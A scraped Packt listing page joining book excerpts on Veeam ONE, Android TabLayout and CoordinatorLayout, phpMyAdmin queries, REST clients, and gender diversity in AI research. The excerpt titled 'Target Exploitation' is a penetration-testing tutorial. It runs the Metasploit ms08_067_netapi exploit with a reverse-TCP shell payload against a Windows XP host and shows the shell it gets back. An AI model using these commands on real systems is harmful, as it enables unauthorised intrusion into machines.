virtual environment data. Use this procedure to collect data manually: Click on the Session History menu item on the left-hand side of the screen.   Click on the Run Now button for the server that you wish to run the data collection manually. The data collection normally takes a few minutes to run. However, it can vary based on the size and complexity of your infrastructure.   View the details of the session data by clicking on the server from the list shown in Session History. Summary In this article, we explained Veeam® ONE™ Business View. We discussed the steps needed to plan, control, and analyze the changes in the virtual environment. Resources for Article: Further resources on this subject: Configuring vShield App [article] Backups in the VMware View Infrastructure [article] Introduction to Veeam® Backup & Replication for VMware [article]
Read more
  • 0
  • 0
  • 8465
article-image-introducing-tablayout
Packt
29 Oct 2015
14 min read
Save for later

Introducing TabLayout

Packt
29 Oct 2015
14 min read
 In this article by Antonio Pachón, author of the book, Mastering Android Application Development, we take a look on the TabLayout design library and the different activities you can do with it. The TabLayout design library allows us to have fixed or scrollable tabs with text, icons, or a customized view. You would remember from the first instance of customizing tabs in this book that it isn't very easy to do, and to change from scrolling to fixed tabs, we need different implementations. (For more resources related to this topic, see here.) We want to change the color and design of the tabs now to be fixed; for this, we need to first go to activity_main.xml and add TabLayout, removing the previous PagerTabStrip. Our view will look as follows: <?xml version="1.0" encoding="utf-8"?> <LinearLayout     android_layout_height="fill_parent"     android_layout_width="fill_parent"     android_orientation="vertical"     >       <android.support.design.widget.TabLayout         android_id="@+id/tab_layout"         android_layout_width="match_parent"         android_layout_height="50dp"/>       <android.support.v4.view.ViewPager           android_id="@+id/pager"         android_layout_width="match_parent"         android_layout_height="wrap_content">       </android.support.v4.view.ViewPager>   </LinearLayout> When we have this, we need to add tabs to TabLayout. There are two ways to do this; one is to create the tabs manually as follows: tabLayout.addTab(tabLayout.newTab().setText("Tab 1")); The second way, which is the one we'll use, is to set the view pager to TabLayout. In our example, MainActivity.java should look as follows: public class MainActivity extends ActionBarActivity {       @Override     protected void onCreate(Bundle savedInstanceState) {         super.onCreate(savedInstanceState);         setContentView(R.layout.activity_main);           MyPagerAdapter adapter = new         MyPagerAdapter(getSupportFragmentManager());         ViewPager viewPager = (ViewPager)         findViewById(R.id.pager);         viewPager.setAdapter(adapter);         TabLayout tabLayout = (TabLayout)         findViewById(R.id.tab_layout);         tabLayout.setupWithViewPager(viewPager);         }     @Override     protected void attachBaseContext(Context newBase) {         super.attachBaseContext(CalligraphyContextWrapper         .wrap(newBase));     } } If we don't specify any color, TabLayout will use the default color from the theme, and the position of the tabs will be fixed. Our new tab bar will look as follows: Toolbar, action bar, and app bar Before continuing to add motion and animation to our app, we need to clarify the concepts of toolbar, the action bar, the app bar, and AppBarLayout, which might cause a bit of confusion. The action bar and app bar are the same component; app bar is just a new name that has been acquired in material design. This is the opaque bar fixed at the top of our activity that usually shows the title of the app, navigation options, and the different actions. The icon is or isn't displayed depending on the theme. Since Android 3.0, the theme Holo or any of its descendants is used by default for the action bar. Moving onto the next concept, the toolbar; introduced in API 21, Andorid Lollipop, it is a generalization of the action bar that doesn't need to be fixed at the top of the activity. We can specify whether a toolbar is to act as the activity action bar with the setActionBar() method. This means that a toolbar can act as an action bar depending on what we want. If we create a toolbar and set it as an action bar, we must use a theme with the .NoActionBar option to avoid having a duplicated action bar. Otherwise, we would have the one that comes by default in a theme along with the toolbar that we have created as the action bar. A new element, called AppBarLayout, has been introduced in the design support library; it is LinearLayout intended to contain the toolbar to display animations based on scrolling events. We can specify the behavior while scrolling in the children with the app:layout_scrollFlag attribute. AppBarLayout is intended to be contained in CoordinatorLayout—the component introduced as well in the design support library—which we will describe in the following section. Adding motion with CoordinatorLayout CoordinatorLayout allows us to add motion to our app, connecting touch events and gestures with views. We can coordinate a scroll movement with the collapsing animation of a view, for instance. These gestures or touch events are handled by the Coordinator.Behaviour class; AppBarLayout already has this private class. If we want to use this motion with a custom view, we would have to create this behavior ourselves. CoordinatorLayout can be implemented at the top level of our app, so we can combine this with the application bar or any element inside our activity or fragment. It also can be implemented as a container to interact with its child views. Continuing with our app, we will show a full view of a job offer when we click on a card. This will be displayed in a new activity. This activity will contain a toolbar showing the title of the job offer and logo of the company. If the description is long, we will need to scroll down to read it, and at the same time, we want to collapse the logo at the top, as it is not relevant anymore. In the same way, while scrolling back up, we want it to expand it again. To control the collapsing of the toolbar we will need CollapsingToolbarLayout. The description will be contained in NestedScrollView, which is a scroll view from the android v4 support library. The reason to use NestedScrollView is that this class can propagate the scroll events to the toolbar, while ScrollView can't. Ensure that compile com.android.support:support-v4:22.2.0 is up to date. So, for now, we can just place an image from the drawable folder to implement the CoordinatorLayout functionality. Our offer detail view, activity_offer_detail.xml, will look as follows: <android.support.design.widget.CoordinatorLayout     android_layout_width="match_parent"     android_layout_height="match_parent">      <android.support.design.widget.AppBarLayout         android_id="@+id/appbar"         android_layout_height="256dp"         android_layout_width="match_parent">         <android.support.design.widget.CollapsingToolbarLayout             android_id="@+id/collapsingtoolbar"             android_layout_width="match_parent"             android_layout_height="match_parent"             app_layout_scrollFlags="scroll|exitUntilCollapsed">               <ImageView                 android_id="@+id/logo"                 android_layout_width="match_parent"                 android_layout_height="match_parent"                 android_scaleType="centerInside"                 android_src="@drawable/googlelogo"                 app_layout_collapseMode="parallax" />             <android.support.v7.widget.Toolbar                 android_id="@+id/toolbar"                 android:layout_height="?attr/actionBarSize"                 android_layout_width="match_parent"                 app_layout_collapseMode="pin"/>         </android.support.design.widget.CollapsingToolbarLayout>     </android.support.design.widget.AppBarLayout>     <android.support.v4.widget.NestedScrollView         android_layout_width="fill_parent"         android_layout_height="fill_parent"         android_paddingLeft="20dp"         android_paddingRight="20dp"         app_layout_behavior=         "@string/appbar_scrolling_view_behavior">              <TextView                 android_id="@+id/rowJobOfferDesc"                 android_layout_width="fill_parent"                 android_layout_height="fill_parent"                 android_text="Long scrollabe text"                   android_textColor="#999"                 android_textSize="18sp"                 />      </android.support.v4.widget.NestedScrollView>  </android.support.design.widget.CoordinatorLayout> As you can see here, the CollapsingToolbar layout reacts to the scroll flag and tells its children how to react. The toolbar is pinned at the top, always remaining visible, app:layout_collapseMode="pin" however the logo will disappear with a parallax effect app:layout_collapseMode="parallax". Don't forget to add to NestedScrollview to the app:layout_behavior="@string/appbar_scrolling_view_behavior" attribute and clean the project to generate this string resource internally. If you have problems, you can set the string directly by typing "android.support.design.widget.AppBarLayout$ScrollingViewBehavior", and this will help you to identify the issue. When we click on a job offer, we need to navigate to OfferDetailActivity and send information about the offer. As you probably know from the beginner level, to send information between activities we use intents. In these intents, we can put the data or serialized objects to be able to send an object of the JobOffer type we have to make the The JobOffer class implements Serialization. Once we have done this, we can detect the click on the element in JobOffersAdapter: public class MyViewHolder extends RecyclerView.ViewHolder implements View.OnClickListener, View.OnLongClickListener{     public TextView textViewName;     public TextView textViewDescription;       public MyViewHolder(View v){         super(v);         textViewName =         (TextView)v.findViewById(R.id.rowJobOfferTitle);         textViewDescription =         (TextView)v.findViewById(R.id.rowJobOfferDesc);         v.setOnClickListener(this);         v.setOnLongClickListener(this);     }     @Override     public void onClick(View view) {             Intent intent = new Intent(view.getContext(),             OfferDetailActivity.class);             JobOffer selectedJobOffer =             mOfferList.get(getPosition());             intent.putExtra("job_title",             selectedJobOffer.getTitle());             intent.putExtra("job_description",             selectedJobOffer.getDescription());             view.getContext().startActivity(intent);     } Once we start the activity, we need to retrieve the title and set it to the toolbar. Add a long text to the TextView description inside NestedScrollView to first test with dummy data. We want to be able to scroll to test the animation: public class OfferDetailActivity extends AppCompatActivity {     @Override     protected void onCreate(Bundle savedInstanceState) {         super.onCreate(savedInstanceState);         setContentView(R.layout.activity_offer_detail);         String job_title =         getIntent().getStringExtra("job_title");         CollapsingToolbarLayout collapsingToolbar =         (CollapsingToolbarLayout)         findViewById(R.id.collapsingtoolbar);         collapsingToolbar.setTitle(job_title);     } } Finally, ensure that your styles.xml file in the folder values uses a theme with no action bar by default: <resources>     <!-- Base application theme. -->     <style name="AppTheme"     parent="Theme.AppCompat.Light.NoActionBar">         <!-- Customize your theme here. -->     </style> </resources> We are now ready to test the behavior of the app. Launch it and scroll down. Take a look at how the image collapses and the toolbar is pinned at the top. It will look similar to this: We are missing an attribute to achieve a nice effect in the animation. Just collapsing the image doesn't collapse it enough; we need to make the image disappear in a smooth way and be replaced by the background color of the toolbar. Add the contentScrim attribute to CollapsingToolbarLayout, and this will fade in the image as is collapsing using the primary color of the theme, which is the same used by the toolbar at the moment: <android.support.design.widget.CollapsingToolbarLayout     android_id="@+id/collapsingtoolbar"     android_layout_width="match_parent"     android_layout_height="match_parent"     app_layout_scrollFlags="scroll|exitUntilCollapsed"     app_contentScrim="?attr/colorPrimary"> With this attribute, the app looks better when collapsed and expanded: We just need to style the app a bit more by changing colors and adding padding to the image; we can change the colors of the theme in styles.xml through the following code: <resources>      <!-- Base application theme. -->     <style name="AppTheme"     parent="Theme.AppCompat.Light.NoActionBar">         <item name="colorPrimary">#8bc34a</item>         <item name="colorPrimaryDark">#33691e</item>         <item name="colorAccent">#FF4081</item>     </style> </resources> Resize AppBarLayout to 190dp and add 50dp of paddingLeft and paddingRight to ImageView to achieve the following result: Summary In this article we learned what the TabLayout design library is and the different activities you can do with it. Resources for Article: Further resources on this subject: Using Resources[article] Prerequisites for a Map Application[article] Remote Desktop to Your Pi from Everywhere [article]
Read more
  • 0
  • 0
  • 8449

article-image-target-exploitation
Packt
14 Mar 2014
14 min read
Save for later

Target Exploitation

Packt
14 Mar 2014
14 min read
(For more resources related to this topic, see here.) Vulnerability research Understanding the capabilities of a specific software or hardware product may provide a starting point for investigating vulnerabilities that could exist in that product. Conducting vulnerability research is not easy, neither is it a one-click task. Thus, it requires a strong knowledge base with different factors to carry out security analysis. The following are the factors to carry out security analysis: Programming skills: This is a fundamental factor for ethical hackers. Learning the basic concepts and structures that exist with any programming language should grant the tester with an imperative advantage of finding vulnerabilities. Apart from the basic knowledge of programming languages, you must be prepared to deal with the advanced concepts of processors, system memory, buffers, pointers, data types, registers, and cache. These concepts are implementable in almost any programming language such as C/C++, Python, Perl, and Assembly. To learn the basics of writing an exploit code from a discovered vulnerability, please visit http://www.phreedom.org/presentations/exploit-code-development/. Reverse engineering: This is another wide area for discovering the vulnerabilities that could exist in the electronic device, software, or system by analyzing its functions, structures, and operations. The purpose is to deduce a code from a given system without any prior knowledge of its internal working, to examine it for error conditions, poorly designed functions, and protocols, and to test the boundary conditions. There are several reasons that inspire the practice of reverse engineering skills such as the removal of copyright protection from a software, security auditing, competitive technical intelligence, identification of patent infringement, interoperability, understanding the product workflow, and acquiring the sensitive data. Reverse engineering adds two layers of concept to examine the code of an application: source code auditing and binary auditing. If you have access to the application source code, you can accomplish the security analysis through automated tools or manually study the source in order to extract the conditions where vulnerability can be triggered. On the other hand, binary auditing simplifies the task of reverse engineering where the application exists without any source code. Disassemblers and decompilers are two generic types of tools that may assist the auditor with binary analysis. Disassemblers generate the assembly code from a complied binary program, while decompilers generate a high-level language code from a compiled binary program. However, dealing with either of these tools is quite challenging and requires a careful assessment. Instrumented tools: Instrumented tools such as debuggers, data extractors, fuzzers, profilers, code coverage, flow analyzers, and memory monitors play an important role in the vulnerability discovery process and provide a consistent environment for testing purposes. Explaining each of these tool categories is out of the scope of this book. However, you may find several useful tools already present under Kali Linux. To keep a track of the latest reverse code engineering tools, we strongly recommend that you visit the online library at http://www.woodmann.com/collaborative/tools/index.php/Category:RCE_Tools. Exploitability and payload construction: This is the final step in writing the proof-of-concept (PoC) code for a vulnerable element of an application, which could allow the penetration tester to execute custom commands on the target machine. We apply our knowledge of vulnerable applications from the reverse engineering stage to polish shellcode with an encoding mechanism in order to avoid bad characters that may result in the termination of the exploit process. Depending on the type and classification of vulnerability discovered, it is very significant to follow the specific strategy that may allow you to execute an arbitrary code or command on the target system. As a professional penetration tester, you may always be looking for loopholes that should result in getting a shell access to your target operating system. Thus, we will demonstrate a few scenarios with the Metasploit framework, which will show these tools and techniques. Vulnerability and exploit repositories For many years, a number of vulnerabilities have been reported in the public domain. Some of these were disclosed with the PoC exploit code to prove the feasibility and viability of a vulnerability found in the specific software or application. And, many still remain unaddressed. This competitive era of finding the publicly available exploits and vulnerability information makes it easier for penetration testers to quickly search and retrieve the best available exploit that may suit their target system environment. You can also port one type of exploit to another type (for example, Win32 architecture to Linux architecture) provided that you hold intermediate programming skills and a clear understanding of OS-specific architecture. We have provided a combined set of online repositories that may help you to track down any vulnerability information or its exploit by searching through them. Not every single vulnerability found has been disclosed to the public on the Internet. Some are reported without any PoC exploit code, and some do not even provide detailed vulnerability information. For this reason, consulting more than one online resource is a proven practice among many security auditors. The following is a list of online repositories: Repository name Website URL Bugtraq SecurityFocus http://www.securityfocus.com OSVDB Vulnerabilities http://osvdb.org Packet Storm http://www.packetstormsecurity.org VUPEN Security http://www.vupen.com National Vulnerability Database http://nvd.nist.gov ISS X-Force http://xforce.iss.net US-CERT Vulnerability Notes http://www.kb.cert.org/vuls US-CERT Alerts http://www.us-cert.gov/cas/techalerts/ SecuriTeam http://www.securiteam.com Government Security Org http://www.governmentsecurity.org Secunia Advisories http://secunia.com/advisories/historic/ Security Reason http://securityreason.com XSSed XSS-Vulnerabilities http://www.xssed.com Security Vulnerabilities Database http://securityvulns.com SEBUG http://www.sebug.net BugReport http://www.bugreport.ir MediaService Lab http://lab.mediaservice.net Intelligent Exploit Aggregation Network http://www.intelligentexploit.com Hack0wn http://www.hack0wn.com Although there are many other Internet resources available, we have listed only a few reviewed ones. Kali Linux comes with an integration of exploit database from Offensive Security. This provides an extra advantage of keeping all archived exploits to date on your system for future reference and use. To access Exploit-DB, execute the following commands on your shell: # cd /usr/share/exploitdb/ # vim files.csv This will open a complete list of exploits currently available from Exploit-DB under the /pentest/exploits/exploitdb/platforms/ directory. These exploits are categorized in their relevant subdirectories based on the type of system (Windows, Linux, HP-UX, Novell, Solaris, BSD, IRIX, TRU64, ASP, PHP, and so on). Most of these exploits were developed using C, Perl, Python, Ruby, PHP, and other programming technologies. Kali Linux already comes with a handful set of compilers and interpreters that support the execution of these exploits. How to extract particular information from the exploits list? Using the power of bash commands, you can manipulate the output of any text file in order to retrieve the meaningful data. You can either use searchsploit, or this can also be accomplished by typing cat files.csv |grep '"' |cut -d";" -f3 on your console. It will extract the list of exploit titles from a files.csv file. To learn the basic shell commands, please refer to http://tldp.org/LDP/abs/html/index.html. Advanced exploitation toolkit Kali Linux is preloaded with some of the best and most advanced exploitation toolkits. The Metasploit framework (http://www.metasploit.com) is one of these. We have explained it in a greater detail and presented a number of scenarios that would effectively increase the productivity and enhance your experience with penetration testing. The framework was developed in the Ruby programming language and supports modularization such that it makes it easier for the penetration tester with optimum programming skills to extend or develop custom plugins and tools. The architecture of a framework is divided into three broad categories: libraries, interfaces, and modules. A key part of our exercises is to focus on the capabilities of various interfaces and modules. Interfaces (console, CLI, web, and GUI) basically provide the front-end operational activity when dealing with any type of modules (exploits, payloads, auxiliaries, encoders, and NOP). Each of the following modules have their own meaning and are function-specific to the penetration testing process. Exploit: This module is the proof-of-concept code developed to take advantage of a particular vulnerability in a target system Payload: This module is a malicious code intended as a part of an exploit or independently compiled to run the arbitrary commands on the target system Auxiliaries: These modules are the set of tools developed to perform scanning, sniffing, wardialing, fingerprinting, and other security assessment tasks Encoders: These modules are provided to evade the detection of antivirus, firewall, IDS/IPS, and other similar malware defenses by encoding the payload during a penetration operation No Operation or No Operation Performed (NOP): This module is an assembly language instruction often added into a shellcode to perform nothing but to cover a consistent payload space For your understanding, we have explained the basic use of two well-known Metasploit interfaces with their relevant command-line options. Each interface has its own strengths and weaknesses. However, we strongly recommend that you stick to a console version as it supports most of the framework features. MSFConsole MSFConsole is one of the most efficient, powerful, and all-in-one centralized front-end interface for penetration testers to make the best use of the exploitation framework. To access msfconsole, navigate to Applications | Kali Linux | Exploitation Tools | Metasploit | Metasploit framework or use the terminal to execute the following command: # msfconsole You will be dropped into an interactive console interface. To learn about all the available commands, you can type the following command: msf > help This will display two sets of commands; one set will be widely used across the framework, and the other will be specific to the database backend where the assessment parameters and results are stored. Instructions about other usage options can be retrieved through the use of -h, following the core command. Let us examine the use of the show command as follows: msf > show -h [*] Valid parameters for the "show" command are: all, encoders, nops, exploits, payloads, auxiliary, plugins, options [*] Additional module-specific parameters are: advanced, evasion, targets, actions This command is typically used to display the available modules of a given type or all of the modules. The most frequently used commands could be any of the following: show auxiliary: This command will display all the auxiliary modules show exploits: This command will get a list of all the exploits within the framework show payloads: This command will retrieve a list of payloads for all platforms. However, using the same command in the context of a chosen exploit will display only compatible payloads. For instance, Windows payloads will only be displayed with the Windows-compatible exploits show encoders: This command will print the list of available encoders show nops: This command will display all the available NOP generators show options: This command will display the settings and options available for the specific module show targets: This command will help us to extract a list of target OS supported by a particular exploit module show advanced: This command will provide you with more options to fine-tune your exploit execution We have compiled a short list of the most valuable commands in the following table; you can practice each one of them with the Metasploit console. The italicized terms next to the commands will need to be provided by you: Commands Description check To verify a particular exploit against your vulnerable target without exploiting it. This command is not supported by many exploits. connect ip port Works similar to that of Netcat and Telnet tools. exploit To launch a selected exploit. run To launch a selected auxiliary. jobs Lists all the background modules currently running and provides the ability to terminate them. route add subnet netmask sessionid To add a route for the traffic through a compromised session for network pivoting purposes. info module Displays detailed information about a particular module (exploit, auxiliary, and so on). set param value To configure the parameter value within a current module. setg param value To set the parameter value globally across the framework to be used by all exploits and auxiliary modules. unset param It is a reverse of the set command. You can also reset all variables by using the unset all command at once. unsetg param To unset one or more global variables. sessions Ability to display, interact, and terminate the target sessions. Use with -l for listing, -i ID for interaction, and -k ID for termination. search string Provides a search facility through module names and descriptions. use module Select a particular module in the context of penetration testing. It is important for you to understand their basic use with different sets of modules within the framework. MSFCLI Similar to the MSFConsole interface, a command-line interface (CLI) provides an extensive coverage of various modules that can be launched at any one instance. However, it lacks some of the advanced automation features of MSFConsole. To access msfcli, use the terminal to execute the following command: # msfcli -h This will display all the available modes similar to that of MSFConsole as well as usage instructions for selecting the particular module and setting its parameters. Note that all the variables or parameters should follow the convention of param=value and that all options are case-sensitive. We have presented a small exercise to select and execute a particular exploit as follows: # msfcli windows/smb/ms08_067_netapi O [*] Please wait while we load the module tree...      Name     Current Setting  Required  Description    ----     ---------------  --------  -----------    RHOST                     yes       The target address    RPORT    445              yes       Set the SMB service port    SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC) The use of O at the end of the preceding command instructs the framework to display the available options for the selected exploit. The following command sets the target IP using the RHOST parameter: # msfcli windows/smb/ms08_067_netapi RHOST=192.168.0.7 P [*] Please wait while we load the module tree...   Compatible payloads ===================      Name                             Description    ----                             -----------    generic/debug_trap               Generate a debug trap in the target process    generic/shell_bind_tcp           Listen for a connection and spawn a command shell ... Finally, after setting the target IP using the RHOST parameter, it is time to select the compatible payload and execute our exploit as follows: # msfcli windows/smb/ms08_067_netapi RHOST=192.168.0.7 LHOST=192.168.0.3 PAYLOAD=windows/shell/reverse_tcp E [*] Please wait while we load the module tree... [*] Started reverse handler on 192.168.0.3:4444 [*] Automatically detecting the target... [*] Fingerprint: Windows XP Service Pack 2 - lang:English [*] Selected Target: Windows XP SP2 English (NX) [*] Attempting to trigger the vulnerability... [*] Sending stage (240 bytes) to 192.168.0.7 [*] Command shell session 1 opened (192.168.0.3:4444 -> 192.168.0.7:1027)   Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp.   C:WINDOWSsystem32> As you can see, we have acquired a local shell access to our target machine after setting the LHOST parameter for a chosen payload.
Read more
  • 0
  • 0
  • 8444

article-image-how-bad-is-the-gender-diversity-crisis-in-ai-research-study-analysing-1-5million-arxiv-papers-says-its-serious
Fatema Patrawala
18 Jul 2019
9 min read
Save for later

How bad is the gender diversity crisis in AI research? Study analysing 1.5million arxiv papers says it’s “serious”

Fatema Patrawala
18 Jul 2019
9 min read
Yesterday the team at Nesta organization, an innovation firm based out of UK published a research on gender diversity in the AI research workforce. The authors of this research are Juan Mateos Garcis, the Director, Konstantinos Stathoulopoulos, the Principal Researcher and Hannah Owen, the Programme Coordinator at Nesta. https://twitter.com/JMateosGarcia/status/1151517641103872006 They have prepared an analysis purely based on 1.5 million arxiv papers. The team claims that it is the first ever study of gender diversity in AI which is not on any convenience sampling or proprietary database. The team posted on its official blog post, “We conducted a large-scale analysis of gender diversity in AI research using publications from arXiv, a repository with more than 1.5 million preprints widely used by the AI community. We aim to expand the evidence base on gender diversity in AI research and create a baseline with which to interrogate the impact of current and future policies and interventions.  To achieve this, we enriched the ArXiv data with geographical, discipline and gender information in order to study the evolution of gender diversity in various disciplines, countries and institutions as well as examine the semantic differences between AI papers with and without female co-authors.” With this research the team also aims to bring prominent female figures they have identified under the spotlight. Key findings from the research Serious gender diversity crisis in AI research The team found a severe gender diversity gap in AI research with only 13.83% of authors being women. Moreover, in relative terms, the proportion of AI papers co-authored by at least one woman has not improved since the 1990s. Juan Mateos thinks this kind of crisis is a waste of talent and it increases the risk of discriminatory AI systems. https://twitter.com/JMateosGarcia/status/1151517642236276736 Location and research domain are significant drivers of gender diversity Women in the Netherlands, Norway and Denmark are more likely to publish AI papers while those in Japan and Singapore are less likely. In the UK, 26.62% of the AI papers have at least one female co-author, placing the country at the 22nd spot worldwide. The US follows the UK in terms of having at least one female co-authors at 25% and for the unique female author US leads one position above UK. Source: Nesta research report Regarding the research domains, women working in Physics and Education, Computer Ethics and other societal issues and Biology are more likely to publish their work on AI in comparison to those working in Computer Science or Mathematics. Source: Nesta research report Significant gender diversity gap in universities, big tech companies and other research institutions Apart from the University of Washington, every other academic institution and organisation in the dataset has less than 25% female AI researchers. Regarding some of the big tech, only 11.3% of Google’s employees who have published their AI research on arXiv are women, while the proportion is similar for Microsoft (11.95%) and is slightly better for IBM (15.66%). Important semantic differences between AI paper with and without a female co-author When examining the publications in the Machine Learning and Societal topics in the UK in 2012 and 2015, papers involving at least one female co-author tend to be more semantically similar to each other than with those without any female authors. Moreover, papers with at least one female co-author tend to be more applied and socially aware, with terms such as fairness, human mobility, mental, health, gender and personality being among the most salient ones. Juan Mateos noted that this is an area which deserves further research. https://twitter.com/JMateosGarcia/status/1151517647361781760   The top 15 women with the most AI publications on arXiv identified Aarti Singh, Associate Professor at the Machine learning department of Carnegie Mellon University Cordelia Schmid, is a part of Google AI team and holds a permanent research position at Inria Grenoble Rhone-Alpes Cynthia Rudin, an associate professor of computer science, electrical and computer engineering, statistical science and mathematics at Duke University Devi Parikh, an Assistant Professor in the School of Interactive Computing at Georgia Tech Karen Livescu, an Associate Professor at Toyota Technical Institute at Chicago Kate Saenko,  an Associate Professor at the Department of Computer at Boston University Kristina Lerman, a Project Leader at the Information Sciences Institute at the University of Southern California Marilyn A. Walker, a Professor at the Department of Computer Science at the University of California Mihaela van der Schaar, is John Humphrey Plummer Professor of Machine Learning, Artificial Intelligence and Medicine at the University of Cambridge and a Turing Fellow at The Alan Turing Institute in London Petia Radeva, a professor at the Department of Mathematics and Computer Science, Faculty of Mathematics and Computer Science at the Universitat de Barcelona Regina Barzilay is a professor at the Massachusetts Institute of Technology and a member of the MIT Computer Science and Artificial Intelligence Laboratory Svetha Venkatesh, an ARC Australian Laureate Fellow, Alfred Deakin Professor and Director of the Centre for Pattern Recognition and Data Analytics (PRaDA) at Deakin University Xiaodan Liang, an Associate Professor at the School of Intelligent Systems Engineering, Sun Yat-sen University Yonina C. Elda, a Professor of Electrical Engineering, Weizmann Faculty of Mathematics and Computer Science at the University of Israel Zeynep Akata, an Assistant Professor with the University of Amsterdam in the Netherlands There are 5 other women researchers who were not identified in the study. Interviews bites from few women contributors and institutions The research team also interviewed few researchers and institutions identified in their work and they think a system wide reform is needed. When the team discussed the findings with the most cited female researcher Mihaela Van Der Schaar, she did feel that her presence in the field has only started to be recognised, having begun her career in 2003, ‘I think that part of the reason for this is because I am a woman, and the experience of (the few) other women in AI in the same period has been similar.’ she says. Professor Van Der Schaar also described herself and many of her female colleagues as ‘faceless’, she suggested that the work of celebrating leading women in the field could have a positive impact on the representation of women, as well as the disparity in the recognition that these women receive. This suggests that work is needed across the pipeline, not just with early-stage invention in education, but support for those women in the field. She also highlighted the importance of open discussion about the challenges women face in the AI sector and that workplace changes such as flexible hours are needed to enable researchers to participate in a fast-paced sector without sacrificing their family life. The team further discussed the findings with the University of Washington’s Eve Riskin, Associate Dean of Diversity and Access in the College of Engineering. Riskin described that much of her female faculty experienced a ‘toxic environment’ and pervasive imposter syndrome. She also emphasized the fact that more research is needed in terms of the career trajectories of the male and female researchers including the recruitment and retention. Some recent examples of exceptional women in AI research and their contribution While these women talk about the diversity gaps in this field recently we have seen works from female researchers like Katie Bouman which gained significant attention. Katie is a post-doctoral fellow at MIT whose algorithm led to an image of a supermassive black hole. But then all the attention became a catalyst for a sexist backlash on social media and YouTube. It set off “what can only be described as a sexist scavenger hunt,” as The Verge described it, in which an apparently small group of vociferous men questioned Bouman’s role in the project. “People began going over her work to see how much she’d really contributed to the project that skyrocketed her to unasked-for fame.” Another incredible example in the field of AI research and ethics is of Meredith Whittaker, an ex-Googler, now a program manager, activist, and co-founder of the AI Now Institute at New York University. Meredith is committed to the AI Now Institute, her AI ethics work, and to organize an accountable tech industry. On Tuesday,  Meredith left Google after facing retaliation from company for organizing last year’s protest of Google Walkout for Real Change demanding the company for structural changes to ensure a safe and conducive work environment for everyone.. Other observations from the research and next steps The research also highlights the fact that women are as capable as men in contributing to technical topics while they tend to contribute more than men to publications with a societal or ethical output. Some of the leading AI researchers in the field shared their opinion on this: Petia Radeva, Professor at the Department of Mathematics and Computer Science at the University of Barcelona, was positive that the increasingly broad domains of application for AI and the potential impact of this technology will attract more women into the sector. Similarly, Van Der Schaar suggests that “publicising the interdisciplinary scope of possibilities and career paths that studying AI can lead to will help to inspire a more diverse group of people to pursue it. In parallel, the industry will benefit from a pipeline of people who are motivated by combining a variety of ideas and applying them across domains.” The research team in future will explore the temporal co-authorship network of AI papers to examine how different the career trajectory of male and female researchers might be. They will survey AI researchers on arXiv and investigate the drivers of the diversity gap in more detail through their innovation mapping methods. They also plan to extend this analysis to identify the representation of other underrepresented groups. Meredith Whittaker, Google Walkout organizer, and AI ethics researcher is leaving the company, adding to its brain-drain woes over ethical concerns “I’m concerned about Libra’s model for decentralization”, says co-founder of Chainspace, Facebook’s blockchain acquisition DeepMind’s Alphastar AI agent will soon anonymously play with European StarCraft II players
Read more
  • 0
  • 0
  • 8442
article-image-multi-table-query-generator-using-phpmyadmin-and-mysql
Packt
09 Oct 2009
4 min read
Save for later

The Multi-Table Query Generator using phpMyAdmin and MySQL

Packt
09 Oct 2009
4 min read
The Search pages in the Database or Table view are intended for single-table lookups. This article by Marc Delisle, covers the multi-table Query by example (QBE) feature available in the Database view. Many phpMyAdmin users work in the Table view, table-by-table, and thus tend to overlook the multi-table query generator, which is a wonderful feature for fine-tuning queries. The query generator is useful not only in multi-table situations but also for a single table. It enables us to specify multiple criteria for a column, a feature that the Search page in the Table view does not possess. The examples in this article assumes that a multi-user installation of the linked-tables infrastructure has been made and that the book-copy table created during an exercise in the article on Table and Database Operations in PHP is still there in the marc_book database. To access the code used in this article Click Here. To open the page for this feature, we go to the Database view for a specific database (the query generator supports working on only one database at a time) and click on Query. The screenshot overleaf shows the initial QBE page. It contains the following elements: Criteria columns An interface to add criteria rows An interface to add criteria columns A table selector The query area Buttons to update or to execute the query Choosing Tables The initial selection includes all the tables. In this example, we assume that the linked-table infrastructure has been installed into the marc_book database. Consequently, the Field selector contains a great number of fields. For our example, we will work only with the author and book tables: We then click Update Query. This refreshes the screen and reduces the number of fields available in the Field selector. We can always change the table choice later, using our browser's mechanism for multiple choices in drop-down menus (usually, control-click). Column Criteria Three criteria columns are provided by default. This section discusses the options we have for editing their criteria. These include options for selecting fields, sorting individual columns, entering conditions for individual columns, and so on. Field Selector: Single-Column or All Columns The Field selector contains all individual columns for the selected tables, plus a special choice ending with an asterisk (*) for each table, which means all the fields are selected: To display all the fields in the author table, we choose `author`.* and check the Show checkbox, without entering anything in the Sort and Criteria boxes. In our case, we select `author`.`name`, because we want to enter some criteria for the author's name. Sorts For each selected individual column, we can specify a sort (in Ascending or Descending order) or let this line remain intact (meaning no sort). If we choose more than one sorted column, the sort will be done with a priority from left to right. When we ask for a column to be sorted, we normally check the Show checkbox, but this is not necessary because we might want to do just the sorting operation without displaying this column. Showing a Column We check the Show checkbox so that we can see the column in the results. Sometimes, we may just want to apply a criterion on a column and not include it in the resulting page. Here, we add the phone column, ask for a sort on it, and choose to show both the name and phone number. We also ask for a sort on the name in ascending order. The sort will be done first by name, and then by phone number, if the names are identical. This is because the name is in a column criterion to the left of the phone column, and thus has a higher priority:
Read more
  • 0
  • 0
  • 8427

article-image-elegant-restful-client-python-exposing-remote-resources
Xavier Bruhiere
12 Aug 2015
6 min read
Save for later

Elegant RESTful Client in Python for Exposing Remote Resources

Xavier Bruhiere
12 Aug 2015
6 min read
Product Hunt addicts like me might have noticed how often a "developer" tab was available on landing pages. More and more modern products offer a special entry point tailored for coders who want deeper interaction, beyond standard end-user experience. Twitter, Myo, Estimote are great examples of technologies an engineer could leverage for its own tool/product. And Application Programming Interfaces (API) make it possible. Companies design them as a communication contract between the developer and their product. We can discern Representational State Transfer APIs (RESTful) from programmatic ones. The latter usually offer deeper technical integration, while the former tries to abstract most of the product's complexity behind intuitive remote resources (more on that later). The resulting simplicity owes a lot to the HTTP protocol and turns out to be trickier than one thinks. Both RESTful servers and clients often underestimates the value of HTTP historical rules or the challenges behind network failures. I will dump in this article my last experience in building an HTTP+JSON API client. We are going to build a small framework in python to interact with well-designed third party services. One should get out of it a consistent starting point for new projects, like remotely controlling its car ! Stack and Context Before diving in, let's state an important assumption : APIs our client will call are well designed. They enforce RFC standards, conventions and consistent resources. Sometimes, however, real world throws at us ugly interfaces. Always read the documentation (if any) and deal with 